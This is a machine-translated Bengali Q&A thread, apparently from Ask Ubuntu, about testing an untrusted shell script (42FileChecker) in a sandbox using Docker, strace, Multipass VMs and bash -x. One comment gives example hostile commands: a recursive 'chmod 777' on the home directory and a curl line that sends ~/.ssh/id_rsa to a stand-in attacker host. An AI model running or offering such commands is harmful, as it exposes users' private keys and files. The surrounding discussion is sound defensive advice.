আমার কম্পিউটারের ক্ষতি এড়াতে আমি কীভাবে একটি "নিরাপদ পরিবেশে" শেল স্ক্রিপ্ট পরীক্ষা করতে পারি?


29

কমান্ডগুলি ব্যবহার করে আমি 42FileChecker নামে একটি নির্দিষ্ট বাশ স্ক্রিপ্ট ইনস্টল করতে চাই:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

তবে আমি জানি না যে ৪২ ফাইলচেকার.শ আমার পিসিতে কোনও অদ্ভুত কাজ করবে কিনা কারণ আমি একজন শিক্ষানবিশ এবং জানি না যে স্ক্রিপ্টটিতে কী ঘটছে। এটি কি একটি ডামি টার্মিনাল বা ডামি রুট ফোল্ডারে চালানোর কোনও উপায় আছে বা কী ঘটবে তা দেখার জন্য যাতে আমি আমার ড্রাইভগুলির বিন্যাসকরণের মতো পাগল কিছু এড়াতে পারি। আমি ভবিষ্যতের শেল স্ক্রিপ্টগুলির জন্য শেলগুলি পরীক্ষা করার যে কোনও উপায় সম্পর্কে জানতে চাই, এমনকি যদি 42 ফাইলচেকার.শ নিরাপদ থাকে।


5
যেহেতু এটি একটি স্ক্রিপ্ট, আপনি এটি পড়তে এবং এতে manথাকা কমান্ডের পৃষ্ঠাগুলি পড়তে পারেন।
ওয়ালটিনেটর

1
নোট করুন যেহেতু কোডটি গিটকে হোস্ট করা হয়েছে তাই আপনি সরঞ্জামটির উত্সের মাধ্যমে পড়তে পারেন। কোড পর্যালোচনা যদি আপনার জিনিস না হয় তবে নিরাপদ পরিবেশে (স্যান্ডবক্স, ভিএম) চালিয়ে কিছু ধরণের "ডায়নামিক" বিশ্লেষণ করা আপনার পরবর্তী সেরা বাজি
ব্লু ক্যাক্টি

4
@ ওয়ালটিনেটর যদি আপনি কেবল অনিচ্ছাকৃত আচরণের চেয়ে দূষিত আচরণ সম্পর্কে উদ্বিগ্ন হন তবে ম্যান পেজগুলি পড়তে কোনও লাভ হবে না।
রায়

1
@ রায়, কেবলমাত্র যদি আদেশগুলি চালিত হয় তবে তারা নিজেরাই দূষিত হয়, সুতরাং তাদের ম্যান পেজগুলি তাদের প্রকৃত প্রভাবগুলি গোপন করে al আমার মনে হয় ওয়াল্টিনেটর স্ট্যান্ডার্ড কমান্ডগুলির দূষিত ব্যবহারের আরও সম্ভাব্য ক্ষেত্রে উল্লেখ করছে, যেমন chmod 777 -R ~বা অন্য জাতীয় curl http://badsite.example.com/secret-grabber.php -d @"$HOME"/.ssh/id_rsaor
ওয়াইল্ডকার্ড

1
সম্পর্কিত । আপনি আপনার কম্পিউটারের কোনও ক্ষতির ঝুঁকি না নিয়ে স্ক্রিপ্টগুলি পরীক্ষা করতে পারেন এবং এটি আপনার সহকর্মীদের তাদের সেশন লক করতে শেখায়।
এরিক ডুমিনিল

উত্তর:


4

আমি এই সময়ে কোন বিশেষজ্ঞ নই, কিন্তু আমি ব্যবহার সুপারিশ করবে straceএবং docker

সুতরাং প্রথমে এই উত্তরের নির্দেশ অনুসারে একটি ডকার পাত্র তৈরি করুন । তবে সংযোজন যে স্ট্রেস আপনাকে জানাবে যে সিস্টেম কলগুলি কী করা হয়। বা উদ্ধৃতি:

স্ট্রেস লিনাক্সের জন্য একটি ডায়াগনস্টিক, ডিবাগিং এবং নির্দেশমূলক ব্যবহারকারী স্থান ইউটিলিটি। এটি প্রসেস এবং লিনাক্স কার্নেলের মধ্যে পারস্পরিক মিথস্ক্রিয়াকে নিরীক্ষণ ও হস্তক্ষেপ করতে ব্যবহৃত হয়, যার মধ্যে সিস্টেম কল, সংকেত বিতরণ এবং প্রক্রিয়া অবস্থার পরিবর্তন অন্তর্ভুক্ত রয়েছে।

আপনি এই আদেশগুলি একত্রিত করতে পারেন

docker exec -it ubuntu_container strace bash ./42FileChecker.sh

সুতরাং এটি স্ক্রিপ্টের প্রতিটি লাইনের মধ্য দিয়ে যাবে (ধাপে ধাপে) এবং একটি কন্টেইনারের ভিতরেও এই সমস্ত করবে, যার অর্থ সমস্ত কমান্ডগুলি আমার সিস্টেমে একেবারে কিছুই করবে না তবে যথারীতি চালানো হবে। আমি কি এটি সঠিকভাবে বুঝতে পারি?
নিকোলাস

1
@ নিকোলাস হ্যাঁ ডকার ধারক আপনার সুরক্ষার জন্য একটি পৃথক মেশিন, প্রোগ্রামটি স্যান্ডবক্সযুক্ত। ফাইল খোলার থেকে শুরু করে নেটওয়ার্ক সংযোগ স্থাপন পর্যন্ত অ্যাপ্লিকেশন সেই মেশিনটিতে অ্যাপ্লিকেশনটি করে এমন সমস্ত ক্রিয়াকলাপ আপনাকে সরবরাহ করবে।
টমাস

1
হ্যাঁ, ঠিক আমি যা খুঁজছিলাম, স্ট্রোক ডকারের সাথে মিলিত হয়েছিল।
নিকোলাস

42

কোনও স্ক্রিপ্ট কী করে তা আপনি যদি নিশ্চিত না হন তবে আপনি এটি নিশ্চিত না হওয়া অবধি এটি চালাবেন না। খারাপ স্ক্রিপ্টের ক্ষতির ব্যাসার্ধকে হ্রাস করার উপায়গুলির মধ্যে এটি কোনও নতুন ব্যবহারকারীর ব্যবহার করে চালানো, এটি একটি ধারকটিতে চালানো বা ভার্চুয়াল মেশিনে চালানো অন্তর্ভুক্ত। তবে সেই প্রথম বিবৃতিটি এখনও ধরে রেখেছে: আপনি যদি নিশ্চিত হন না যে কিছু কী করে তবে এটি না করা পর্যন্ত এটি চালাবেন না।


6
অন্যদিকে স্ক্রিপ্টগুলি EULA এর মতো: হ্যাঁ, আপনার আত্মা বিক্রি করার আগে আপনার প্রতিটি লাইনটি পড়া এবং বুঝতে হবে, তবে আপনি কি করেন?
পিটার - মনিকা পুনরায় ইনস্টল করুন

7
@ পিটারএ.স্নাইডার, তবে EULA আদালতে না নেওয়া পর্যন্ত সত্যই কিছুই করতে পারে না। স্ক্রিপ্ট চালানো আপনার কম্পিউটারে তাত্ক্ষণিকভাবে প্রভাব ফেলে। এটি প্রতিটি লাইন পড়ার বিষয়ে তেমন কিছু নয়; এটি "বিশ্বাসের উপর প্রতিচ্ছবি" এবং স্ক্রিপ্টের উত্সটি জানা এবং বিশ্বাস করা সম্পর্কে আরও বেশি।
ওয়াইল্ডকার্ড

29

যেমন @ সিটিটি বলেছেন, সম্ভবত এটি প্রথমে কোনও ধরণের স্যান্ডবক্সে চালানো ভাল ধারণা। কোনও ভিএম ব্যবহার করা সম্ভবত সবচেয়ে সহজ সমাধান। মাল্টিপাস বেশ সহজ।

মাল্টিপাস ইনস্টল করুন (ধরে নিবেন যে আপনার ইতিমধ্যে নেই):

sudo snap install multipass --beta --classic

একটি নতুন ভিএম স্পিন করুন:

multipass launch --name myvm

আপনার নতুন ভিএম এ লগইন করুন:

multipass shell myvm

তারপরে আপনার স্ক্রিপ্টটি চালান (আপনার ভিএম এর ভিতরে):

multipass@myvm:~$ git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

38
এই পদ্ধতির নিরাপদ নয়। আপনি স্যান্ডবক্সে স্ক্রিপ্টটি চালানোর পরে, আপনি এটি কীভাবে বলবেন যে এটি নিরাপদ ছিল? এর ক্ষতিকারক প্রভাব থাকতে পারে যা আপনি সহজেই বলতে পারবেন না। ম্যালওয়্যার অগত্যা পপ আপ এবং "হাহা, আপনি পেয়েছি!" বলে না। এছাড়াও, একটি দূষিত স্ক্রিপ্ট সহজেই একটি স্যান্ডবক্স বা ভিএম থাকা অবস্থায় সৌম্য পদ্ধতিতে আচরণ করতে পারে এবং তারপরে আপনার আসল কম্পিউটারে দূষিত আচরণ করতে পারে। (উদাহরণস্বরূপ, ভিএম সনাক্তকরণ একটি জিনিস, যেমন মেশিন ফিঙ্গারপ্রিন্টিং))
ডিডাব্লু

12
এটি একটি দুর্দান্ত পয়েন্ট। আপনি যদি ম্যালওয়্যারটির জন্য স্ক্রিপ্টটি পরিদর্শন করতে চান তবে এটি কার্যকর সমাধান নয়। আপনার হোস্ট সিস্টেমটিকে দূষিত না করে কার্যকারিতা পরীক্ষা করার এটি একটি উপায়।
রায়ান জে যোদার

আপনি "নিয়ন্ত্রণ" ভিএম এর সাথে সম্পূর্ণ তুলনা করতে পারেন।
mckenzm

6
@ এমকেনজম: তবে এটি যদি ম্যালওয়্যার হয় তবে এটি সম্পূর্ণরূপে সম্ভব যে যতক্ষণ না নিজেকে রসালো দেখাচ্ছে এমন কোনও অ্যাক্সেস না পাওয়া পর্যন্ত এটি কিছুই করা পছন্দ করে না।
হেনিং মাখোলম

11

আপনি যে বিদ্যালয়ে অংশ নিচ্ছেন সেই স্ক্রিপ্টগুলি প্রকাশিত হওয়ায় আপনার উদ্বেগ জানাতে সবচেয়ে ভাল জায়গাটি আপনার প্রশিক্ষকদের।

এটি বলেছিল যে আমরা আপনাকে লাইনের ভিত্তিতে একটি লাইনে কোডটি ডিসিফার করতে সহায়তা করতে পারি। এখানে থাকা সকলের পক্ষে সমস্ত কোড বিশ্লেষণ করা অবৈধ ।

আপনার কাছে মোট 5,360 টি লাইন সহ 40 টি বাশ স্ক্রিপ্ট রয়েছে। আমি এগুলিকে একত্রিত করেছি এবং ব্যাশ / শেল কমান্ড সন্ধান করেছি যা অপব্যবহার করা যায়। এগুলি সমস্তই সাধারণত ব্যবহৃত হয় বলে মনে হয় :

$ cat /tmp/sshellcheck.mrg | grep " rm "

      rm -rf "$RETURNPATH"/tmp/*
      rm -f "$RETURNPATH"/.mynorminette
    rm -f $LOGFILENAME
    rm -f $LOGFILENAME
      rm -f .mymoulitest
        rm -f "${RETURNPATH}/tmp/${FILEN}"

$ cat /tmp/sshellcheck.mrg | grep -i kill

  function check_kill_by_name
          kill $PROCESSID0
  declare -a CHK_MINISHELL_AUTHORIZED_FUNCS='(malloc free access open close read write opendir readdir closedir getcwd chdir stat lstat fstat fork execve wait waitpid wait3 wait4 signal kill exit main)'
        check_kill_by_name "${PROGNAME}"
      kill -0 "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null && kill "${CURRENT_CHILD_PROCESS_PID}" 2>/dev/null
      display_error "killed pid: ${CURRENT_CHILD_PROCESS_PID}"
    check_kill_by_name "$PROGNAME $PROGARGS"
        check_kill_by_name "$PROGNAME $PROGARGS"
        kill ${PID} 2>/dev/null

$ cat /tmp/sshellcheck.mrg | grep -i root

      "check_configure_select ROOT" "Root folder:          /"\
      'ROOT')
        echo "'${ALLOWED_FILES}' must be placed at root folder but was found here:" >>"${LOGFILENAME}"
        printf "%s" "'${ALLOWED_FILES}' must be placed at root folder"

$ cat /tmp/sshellcheck.mrg | grep -i sudo

$ 
  • rm -rf /পুরো হার্ড ডিস্ক পার্টিশনটি মুছার জন্য কোনও আদেশ নেই ।
  • sudoস্ক্রিপ্টটি চালানোর জন্য কোনও প্রয়োজন নেই ।
  • স্ক্রিপ্টটি নিশ্চিত Cকরে যে চেক করা ফাইলগুলিতে কেবল অনুমোদিত ফাংশন ব্যবহার করা হয়েছে।
  • ব্যাশ / শেল কোডের একটি দ্রুত ব্রাউজ দেখায় এটি পেশাদারভাবে লিখিত এবং অনুসরণ করা সহজ।
  • মার্জ হওয়াতে শেলচেক ব্যবহার করে ফাইলগুলি অন্তর্ভুক্ত করে কেবল তিনটি সিনট্যাক্স ত্রুটি।
  • লেখকের নামগুলি চিহ্নিত করা হয় এবং প্রধান লেখক এমনকি তার githubপৃষ্ঠায় তার ছবি থাকে ।
  • যদিও জীবনে কোনও গ্যারান্টি নেই তবে 42FileCheckerব্যবহার করা নিরাপদ।

এটি মানব-পঠনযোগ্য বাশ স্ক্রিপ্টগুলি নয় যা আপনার এত বেশি চিন্তা করতে হবে। এটি বাইনারি অবজেক্টগুলি সংকলিত হয় যা আপনি পড়তে পারবেন না এটি উদ্বেগের কারণ। উদাহরণস্বরূপ, "চকচকে-বাউন্সি-গোলক" নামক একটি প্রোগ্রাম আপনার পর্দায় এমন কিছু রঙ করতে পারে তবে পটভূমিতে এটি আপনার সমস্ত ফাইল মুছে ফেলা হতে পারে।


আসল উত্তর

এটি স্ক্রিপ্টটির লেখককে জিজ্ঞাসা করা ভাল। প্রকৃতপক্ষে আপনি প্রায় উপরে আপনার প্রশ্ন ভারব্যাটিম পোস্ট করতে পারেন এটি উপরে প্রদর্শিত হয়।

লেখককেও জিজ্ঞাসা করুন:

  • কোন ফাইল আপডেট করা হয়?
  • পাওয়ার ব্যর্থতা বা প্রোগ্রাম বাগের কারণে ক্রাশ হলে কী হবে?
  • প্রথমে একটি মিনি-ব্যাকআপ করা যাবে?

এবং অন্য যে কোনও ভাল প্রশ্ন আপনি ভাবতে পারেন।


সম্পাদনা 1 - দূষিত লেখক সম্পর্কে উদ্বেগ।

আপনার কেবলমাত্র প্রচুর ভাল সর্বজনীন পর্যালোচনা সহ সফ্টওয়্যার ব্যবহার করা উচিত। আপনি এখানে যেমন জিজ্ঞাসা উবুন্টু যেমন সার্জ, জ্যাকব, কলিন কিং ইত্যাদিতে বিশ্বাস করেন লেখকরা অন্যভাবে সম্মানিত সাইটগুলি যেমন জিজ্ঞাসা উবুন্টু এবং তাদের সম্মানিত সদস্যদেরও "অ-দূষিত" হিসাবে বিবেচনা করা উচিত।

জিজ্ঞাসা উবুন্টুতে এখানে "সম্মানিত লেখক" এর সুবিধা হ'ল তারা কি "খ্যাতি পয়েন্ট "গুলিতে তাদের স্ব-মূল্যকে ঝুঁকছেন। তারা যদি ইচ্ছাকৃতভাবে কোডটি লিখেন যে "চুরি" বা "ক্ষতিগ্রস্থ" ডেটা তারা দ্রুত তাদের খ্যাতি হ্রাস করবে। প্রকৃতপক্ষে লেখকরা "মোডের ক্রোধ" ভুগতে পারেন এবং স্থগিত হয়ে এবং / অথবা 10,000 এর সুনাম পয়েন্টগুলি সরিয়ে নিয়ে যেতে পারেন।


সম্পাদনা 2 - সমস্ত নির্দেশাবলী অনুসরণ করবেন না

আমি আপনার বাশ স্ক্রিপ্ট নির্দেশাবলীর উপর গভীর নজর রেখেছি:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker &&
    cd ~/42FileChecker &&
    bash ./42FileChecker.sh

"নিরাপদ" পদ্ধতিটি কেবল প্রথম লাইনটি চালানো হয়:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker

এটি স্ক্রিপ্টগুলি ডাউনলোড করে তবে সেগুলি চালায় না। nautilusইনস্টল হওয়া ডিরেক্টরি এবং ফাইলগুলি পরিদর্শন করতে পরবর্তী ব্যবহার (ফাইল ম্যানেজার)। খুব দ্রুত আপনি আবিষ্কার করতে পারেন যে ফ্রান্সে একদল শিক্ষার্থীর লেখা বাশ স্ক্রিপ্টগুলির সংকলন রয়েছে।

স্ক্রিপ্টগুলির উদ্দেশ্য হ'ল অনুচিত ফাংশন এবং মেমরি ফাঁসের জন্য সি প্রোগ্রামগুলি সংকলন এবং পরীক্ষা করা।


1
আমার উচিত হ্যাঁ, তবে আমি এমন পরিস্থিতি নিয়ে ভাবছিলাম যেখানে লেখক ইচ্ছাকৃতভাবে দূষিত কিছু করছেন।
নিকোলাস

1
@ নিকোলাস আমি উত্তরটি সংশোধন করে আপনার মন্তব্যে জবাব দিয়েছি।
WinEunuuchs2 ইউনিক্স

2
আমি ইকোল 42 কোর্সে সি শিখছি। আমি যে ক্রিয়াকলাপগুলি করছি তা এই সাধারণ চেকের মাধ্যমে চালানো দরকার। এই নিয়ম চেকটি চালানোর জন্য আমাকে উবুন্টুতে 42 ফাইলচেকার ইনস্টল করতে হবে। আমার ধারণা আমি আপাতত এই স্ক্রিপ্টটিতে বিশ্বাস করতে পারি তবে আমাকে প্রথমে স্ক্রিপ্টটির একটি "নিরাপদ রান" কীভাবে করতে হবে তা জানতে হবে কারণ আমি মানুষ অনুসন্ধান করতে গিয়ে এত বড় নই। সাহায্যের জন্য ধন্যবাদ. আমি ঠিক পরের বার একটি ভিএম চালাবো।
নিকোলাস

2
@nicholas রেখা 24 ~/42FileChecker/includes/display/display_credits.shরাজ্যের norminette এর কাজ একটি বশ্যতা হল: norminette (42 born2code) http://www.42.fr। আমি গত রাতে এটি পড়েছিলাম এবং সে কারণেই আমি এটি লিখেছিলাম যে এটি ফ্রান্সের একটি স্কুল (ইকোল) ছিল যা 42 ফাইলচেকার প্রকাশ করেছিল । আমি এখন পর্যন্ত কোডটি কী ব্রাউজ করেছি তা থেকে এটি চালানোর বিষয়ে চিন্তা করব না। এছাড়াও এতে shellcheck5,360 লাইনের ব্যাশ স্ক্রিপ্টের জন্য আশ্চর্যজনক বলে প্রতিবেদন করা খুব কম সিনট্যাক্স ত্রুটি রয়েছে । অনেক পেশাদারভাবে প্রকাশিত বাশ স্ক্রিপ্টগুলিতে প্রচুর সিনট্যাক্স ত্রুটি রয়েছে।
WinEunuuchs2 ইউনিক্স

2
@ নিকোলাস সুরক্ষা দৃষ্টিকোণ থেকে, ক্লাসের জন্য সরবরাহ করা পরিবেশ এবং স্ক্রিপ্টগুলি ব্যবহার করা সম্ভবত সেরা পন্থা। এটি অফিশিয়াল কোর্স সংস্করণের তুলনায় বিভিন্ন আচরণের সম্ভাবনাও সরিয়ে দেয় যা সময় পরিবর্তনের সময় অবাক হতে পারে। আপনি কি নিশ্চিত যে এই মেশিনটিতে কোনও দূরবর্তী অ্যাক্সেস নেই, সম্ভবত কোনও ক্যাম্পাস ব্যবহার করা অন্য কম্পিউটার থেকে ভিপিএন পরিষেবা বা এসএসএইচ ব্যবহার করে আপনি দূর থেকে অ্যাক্সেস করতে পারবেন?
ট্রগানান্ডাররা

5

আপনি ডকার ব্যবহার করতে পারেন। ডকারের ধারকগুলি হোস্ট ওএস থেকে পৃথক করা হয়, সুতরাং যে কোনও দূষিত ক্রিয়াকলাপ একটি ধারক মধ্যে থাকবে যতক্ষণ আপনি নির্দিষ্টভাবে পোর্ট ফরওয়ার্ডিং বা ফাইল সিস্টেমগুলি মাউন্ট করার মাধ্যমে এটিকে ছাড়তে দেন না।

ডকার ইনস্টল করতে:

sudo apt-get install docker.io

একটি নতুন উবুন্টু বায়োনিক ধারক ডাউনলোড করতে:

docker pull ubuntu:bionic

এর পরে, পাত্রে লগইন করুন

docker run -it ubuntu:bionic

এবং এতে ডজি অপারেশন করুন:

git clone https://github.com/jgigault/42FileChecker ~/42FileChecker && cd ~/42FileChecker && bash ./42FileChecker.sh

1
ডকারের আরেকটি সুবিধা যা কোনও স্ক্রিপ্ট কী তা নির্ধারণে সহায়ক হতে পারে তা হল আপনি docker diffকন্টেইনারটি চালু করার পর থেকে ফাইল সিস্টেমে কোন পরিবর্তন হয়েছে তা দেখার জন্য আপনি দৌড়াতে পারেন । ডকার ব্যবহারের খারাপ দিকটি হ'ল কনটেইনারটি এটি হোস্ট সিস্টেমের সম্পূর্ণ অনুলিপি নয়। আপনি যে উবুন্টু চিত্রটি এখানে উল্লেখ করেছেন তাতে কেবলমাত্র একটি সংক্ষিপ্ত উবুন্টু ইনস্টলেশন রয়েছে।
মারটিজন হিমেলস

2
বদলে docker run ubuntuআপনি চালানো উচিত আপনি কন্টেইনারে একটি ইন্টারেক্টিভ টার্মিনাল দেয় এবং আসলে সংস্করণ আপনাকে ডিফল্ট পরিবর্তে চান রান । docker run -it ubuntu:bionic-itbioniclatest
মারটিজন হিমেলস

আমি যে উত্তরগুলি দেখেছি তাদের মধ্যে আমার এই উত্তরটি সবচেয়ে ভাল লেগেছে। যাইহোক, দেখে মনে হচ্ছে অদ্ভুত স্ক্রিপ্টটি এখনও আপনার সিস্টেমটিকে অপব্যবহার করতে পারে। এটা তোলে গোপনে Bitcoins মাইনিং করা যেতে পারে, ইত্যাদি মূলত একটি অতিরিক্ত পতাকা সম্ভবত ব্যবহার করতে পারে --memory, --networkএবং হয়ত সত্যিই অন্যদের স্ক্রিপ্ট নিচে লক।
এমুরি

1
আপনি যদি সত্যিই ভৌতিক হয়ে থাকেন তবে উত্তরটি দ্বিতীয় সেরা উত্তরের সাথে একত্র করুন। ভার্চুয়াল মেশিনের ভিতরে ডকার চালান, এবং সবকিছু লকড করে দিন।
এমুরি

3

স্ক্রিপ্টটি চালিয়ে ডিবাগিং মোডটি ব্যবহার করে বিবেচনা করুন:

$ bash -x scriptname

আরও দরকারী বাশ তথ্য

ডিবাগিং মোড স্ক্রিপ্টটিকে খারাপ কিছু করা থেকে বিরত রাখবে না, তবে এটি আপনাকে স্ক্রিপ্ট লাইন দিয়ে লাইনে যেতে এবং প্রভাবগুলি পরীক্ষা করতে দেবে। আপনি কিছু সাধারণ সম্ভাব্য ভুল এবং / অথবা শোষণের জন্য স্ক্রিপ্টটিও পরীক্ষা করতে পারেন, যেমন যে কোনও ঘটনার জন্য স্ক্রিপ্টগুলি অনুসন্ধান করুন rmএবং সেই আদেশগুলি খুব ঘনিষ্ঠভাবে দেখুন। এই সরঞ্জামগুলি অনেক কিছু সাহায্য তাদের ব্যবহার করে দেখার জন্য নির্মিত আছে, যেমন RM ডিফল্টরূপে একটি ডিরেক্টরি মুছে যাবে না, দরকার -r, -Rঅথবা --recursiveতা করতে বিকল্প।

এমনকি কিছু অ্যান্টিভাইরাস-জাতীয় সরঞ্জাম থাকতে পারে যা এই নিদর্শনগুলির জন্য একটি বাশ স্ক্রিপ্ট সন্ধান করতে পারে, তবে আমি নাম দ্বারা কোনওটি সম্পর্কে অবগত নই। আপনার উদাহরণ স্ক্রিপ্টগুলি অতিরিক্ত ইফিউফের ধরণের, এই অর্থে যে তারা অন্যান্য সরঞ্জাম ডাউনলোড করে, সুতরাং সেগুলির প্রতিটিও পরীক্ষা করা উচিত। কোন সার্ভারের সাথে তারা যোগাযোগ করে তা পরীক্ষা করাও সার্থক হতে পারে।


-x ডিবাগিংয়ের জন্য ব্যবহার করা যেতে পারে (এবং আমি এটি ব্যবহার করি!) তবে এটি আপনাকে স্ক্রিপ্ট লাইন দিয়ে এক লাইনে যেতে দেবে না। এটি স্ক্রিপ্টটি পুরো গতিতে চালিত করায় এটি আপনাকে এক ধরণের "ট্রেস" দেবে।
jrw32982

2

কোনও উত্তর দেওয়ার জন্য প্রাসঙ্গিক তথ্য কেবল আপনার মন্তব্যে দুর্ভাগ্যজনকভাবে পাওয়া যায়:

আমি ইকোল 42 কোর্সে সি শিখছি। আমি যে ক্রিয়াকলাপগুলি করছি তা এই সাধারণ চেকের মাধ্যমে চালানো দরকার। এই নিয়ম চেকটি চালানোর জন্য আমাকে উবুন্টুতে 42 ফাইলচেকার ইনস্টল করতে হবে।

সুতরাং পরিস্থিতিটি হ'ল অনুশীলনে আপনার কাছে কোর্সটি এড়িয়ে যাওয়ার বিকল্প রয়েছে বা আপনি আপনার উত্সগুলিতে আদর্শ পরীক্ষা করতে স্ক্রিপ্টটি চালাতে পারেন। আপনার প্রশিক্ষকের সাথে কথা বলা খুব কমই একটি বিকল্প, পূর্বের অভাবের কারণে (অন্যথায় যাইহোক এটি কোনও বিকল্প হবে না, কোনও স্কুলই তাদের পদ্ধতি পরিবর্তন করবে না কারণ একজন শিক্ষার্থী এতে সন্তুষ্ট নয়)।
সেই স্ক্রিপ্ট থেকে সম্ভাব্য ক্ষতির সীমাবদ্ধ করার জন্য কী করা উচিত তাই প্রশ্নটি ওঠে না। এটি কোনও এলোমেলো স্ক্রিপ্ট নয় যা বড় স্তনযুক্ত একটি শৃঙ্গাকার বালিকা আপনাকে ই-মেইল করে এবং যা আপনাকে তার ছবি দেখতে দৌড়াতে হবে
আপনি একটি প্রোগ্রামিং ক্লাস করছেন। এইএই স্ক্রিপ্টটি কার্যকর হয়েছে। প্রশ্নটি হল আপনি সফলভাবে কোর্সটি সম্পূর্ণ করার জন্য ফ্রেমের শর্তগুলি মেনে চলতে চান কিনা।

তবে, আপনি যদি সত্যিই উদ্বিগ্ন থাকেন তবে কোনও পাত্রে বা ভার্চুয়াল মেশিনে স্ক্রিপ্টটি চালানোর সম্ভাবনা এখনও রয়েছে এবং আপনার উত্সগুলি একটি ভাগ করা ফোল্ডারে বা ধারক / ভার্চুয়াল মেশিনের দ্বারা উন্মুক্ত কোনও নেটওয়ার্ক শেয়ারে রাখার সম্ভাবনা রয়েছে। এটি পুরোপুরি পুরো পেরোনিয়া পথে চলেছে, তবে তারপরে আবার ভার্চুয়ালাইজেশন আসলে এত জটিল নয়, তাই এটির জন্য খুব বেশি খরচ হয় না।

সত্যিই কঠোর শোষণের সম্ভাবনা বাদ দিয়ে সেই স্ক্রিপ্টটিতে থাকা, কোনও অ-রুট ব্যবহারকারী হিসাবে লগ ইন (যা আপনার উবুন্টুতে অন্যথায় করার পছন্দ খুব কমই আছে) এবং কোনও স্পষ্ট কারণ ছাড়াই টাইপ করা এড়ানো sudo 99% কে বাধা দেয় সমস্ত খারাপ জিনিস যা সম্ভবত যাইহোক ঘটতে পারে। যেমন হার্ডডিস্কের ফর্ম্যাট করা, যা সম্পর্কে আপনি চিন্তিত। একটি সাধারণ ব্যবহারকারী কেবল এটি করতে পারে না। স্ক্রিপ্টটি ব্যবহারকারীর হোম ডিরেক্টরি মুছে ফেলা হয় thing আসলে কি, কোন সমস্যা নেই।


আশা করি sudoস্ক্রিপ্ট চালানোর প্রয়োজন হলে ওপি এখানে মন্তব্য করে । +1
WinEunuuchs2 ইউনিক্স

sudoবাগের কারণে কেবল দুর্ঘটনাজনিত মোছা / ফর্ম্যাট করার সুযোগ সীমাবদ্ধ করা এড়ানো । যদি স্ক্রিপ্টটি দূষিত বা শোষণজনক sudoহয় তবে একক ব্যবহারকারী সিস্টেমে চালানো কোনও প্রয়োজনীয় পার্থক্য করে না।
এই অন্য লোকটি

@ WinEunuuchs2 ইউনিক্স আমি মনে করি না সুডো প্রয়োজনীয়। আমি আসলে জানি না। যদিও আমি অ্যাপো ইনস্টল কমান্ডের জন্য sudo ব্যবহার করছি। এর অর্থ কি স্ক্রিপ্ট চালানোর জন্য আমার এটি ব্যবহার করা দরকার?
নিকোলাস

1
@ নিকোলাস আমার সংকলন এবং পরীক্ষা করার জন্য আমার কাছে কোনও সি প্রোগ্রাম নেই 42FileCheckerতাই sudoপ্রয়োজন হয় কিনা তা আমি সত্যিই বলতে পারি না। বাশ স্ক্রিপ্টটি সুডোর জন্য যাচাই করে না এবং আপনাকে এটি ব্যবহার করতে বলছে। এটি প্রদর্শিত হবে তখন এটি sudoপ্রয়োজন হয় না। আবারও আমি মনে করি আপনার প্রশিক্ষককে (শিক্ষক) জিজ্ঞাসা করা সেরা নীতি। আমি আমার উত্তরটি এক ঘন্টা আগে স্ক্রিপ্টের সামান্য বিশ্লেষণের সাথে আপডেট করেছি। কোডটির মধ্যে " mynorminette" নামটি আবার উপস্থিত হয়ে লক্ষ্য করুন ।
WinEunuuchs2 ইউনিক্স

1
@ নিকোলাস আমি বাজি দিয়েছি এমন কিছু প্রশিক্ষক ব্যক্তিগতভাবে নর্মিনেট, ইয়্যাং 42, অ্যালিভিভার, আনিসগ, কেন্টিনপিয়েরেজ, গ্যাবক্ক, প্যাটর্জক এবং জিন-মিশেল গিগল্টকে সবাই জানেন যারা এই অবদান রেখেছিলেন 42FileChecker। আমি বিশ্বাস করি ইন্সট্রাক্টরদের সাথে কথা বলা আপনার মনকে স্বাচ্ছন্দ্য বোধ করবে। কয়েক ঘন্টা তদন্তের পরেও আমি প্রোগ্রামার এবং তাদের সৃষ্টিতে বিশ্বাস করি। জিন-মিশেল গিগল্ট এমনকি গিথুবে তাঁর ছবি রয়েছে। হলুদ ভেস্ট বীজ বৃদ্ধি পাচ্ছে এমন জমিতে আস্থার একমাত্র প্রমাণ test ভিভা লা ফ্রান্স! (এবং ইকোলো 42 :)) আমাদের পক্ষে দয়া করুন এবং অগ্রগতি আপডেটগুলি দেওয়ার জন্য বাদ দিন।
WinEunuuchs2 ইউনিক্স
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.